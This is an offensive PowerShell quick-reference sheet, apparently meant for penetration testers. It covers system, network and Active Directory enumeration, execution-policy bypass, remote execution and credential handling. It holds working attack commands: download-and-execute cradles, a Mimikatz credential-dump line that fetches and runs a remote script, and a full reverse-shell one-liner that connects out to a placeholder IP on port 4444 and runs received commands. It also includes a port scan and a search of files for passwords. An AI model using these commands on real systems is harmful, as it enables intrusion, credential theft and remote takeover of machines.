Quick Reference

PowerShell commands for enumeration, post-exploitation, and Active Directory attacks.

🖥️ System Enumeration

System infosysteminfo
Hostname$env:COMPUTERNAME
Current userwhoami /all
Privilegeswhoami /priv
Domain$env:USERDOMAIN
ProcessesGet-Process
ServicesGet-Service
EnvironmentGet-ChildItem Env:

👥 User & Group Enum

Local usersGet-LocalUser
Local groupsGet-LocalGroup
Local adminsGet-LocalGroupMember -Group "Administrators"
Domain usersGet-ADUser -Filter *
Domain groupsGet-ADGroup -Filter *
Domain adminsGet-ADGroupMember -Identity "Domain Admins"
User detailsGet-ADUser user -Properties *

🌐 Network Enumeration

IP configGet-NetIPConfiguration
AdaptersGet-NetAdapter
Routesroute print
ARP tablearp -a
Open portsGet-NetTCPConnection | Where State -eq "Listen"
DNS lookupResolve-DnsName target.com
SharesGet-SmbShare
Remote sharesnet view \\TARGET

🏢 AD Enumeration

Domain infoGet-ADDomain
DCsGet-ADDomainController -Filter *
TrustsGet-ADTrust -Filter *
ComputersGet-ADComputer -Filter *
ServersGet-ADComputer -Filter 'OperatingSystem -like "*Server*"'
GPOsGet-GPO -All
OUsGet-ADOrganizationalUnit -Filter *
SPNsGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

📁 File Operations

List filesGet-ChildItem -Recurse
Search filesGet-ChildItem -Recurse -Include *.txt
Search contentSelect-String -Path *.txt -Pattern "password"
Read fileGet-Content file.txt
Write fileSet-Content -Path file.txt -Value "data"
DownloadInvoke-WebRequest -Uri URL -OutFile file
Base64 decode[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("..."))

🔓 Execution Policy Bypass

Check policyGet-ExecutionPolicy
Bypass flagpowershell -ep bypass
Set policySet-ExecutionPolicy Bypass -Scope Process
Download & executeIEX(New-Object Net.WebClient).DownloadString('http://URL/script.ps1')
Encoded commandpowershell -enc BASE64_ENCODED_CMD

🌍 Remote Execution

Enable WinRMEnable-PSRemoting -Force
Remote sessionEnter-PSSession -ComputerName TARGET
With credsEnter-PSSession -ComputerName TARGET -Credential DOMAIN\user
Run commandInvoke-Command -ComputerName TARGET -ScriptBlock {whoami}
Run scriptInvoke-Command -ComputerName TARGET -FilePath script.ps1
Multiple hostsInvoke-Command -ComputerName HOST1,HOST2 -ScriptBlock {whoami}

🔑 Credential Handling

Prompt creds$cred = Get-Credential
Create creds$pass = ConvertTo-SecureString "Password" -AsPlain -Force; $cred = New-Object PSCredential("user", $pass)
Run as userStart-Process powershell -Credential $cred
MimikatzIEX(IWR http://URL/Invoke-Mimikatz.ps1); Invoke-Mimikatz -DumpCreds

⚡ Useful One-Liners

Reverse Shell

$c=New-Object Net.Sockets.TCPClient('IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}

Port Scan

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP",$_)) "$_ open"} 2>$null

Ping Sweep

1..254 | % {"10.0.0.$_: $(Test-Connection -Count 1 -Quiet 10.0.0.$_)"}